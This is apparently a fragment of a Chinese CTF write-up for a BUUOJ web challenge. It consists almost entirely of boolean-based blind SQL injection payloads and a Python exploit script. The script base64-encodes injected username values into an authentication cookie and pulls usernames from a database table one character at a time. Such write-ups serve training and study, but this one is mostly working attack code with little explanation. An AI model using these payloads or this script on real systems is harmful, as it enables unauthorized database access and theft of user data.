{"username":"\" or 1=2 or \"","password":"guest"} Invalid user. {"username":"\" or 1=1 or \"","password":"guest"} 正常返回
编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import requests import base64 import string flag = "" ss = string.printable url = "http://d9ab3ff1-6200-413b-88d1-287603ee7687.node3.buuoj.cn/sequels" for x in range(1,10): for i in range(1,32): for y in ss: exp = '{{"username":"\\" or (substr((select username from userinfo limit {0},1),{1},1)=\\"{2}\\")or \\"","password":"guest"}}'.format(x,i,y) print exp cookies = { "1337_AUTH": base64.b64encode(exp) } content = requests.get(url=url,cookies=cookies).content if"Sequel" in content: flag += y print flag break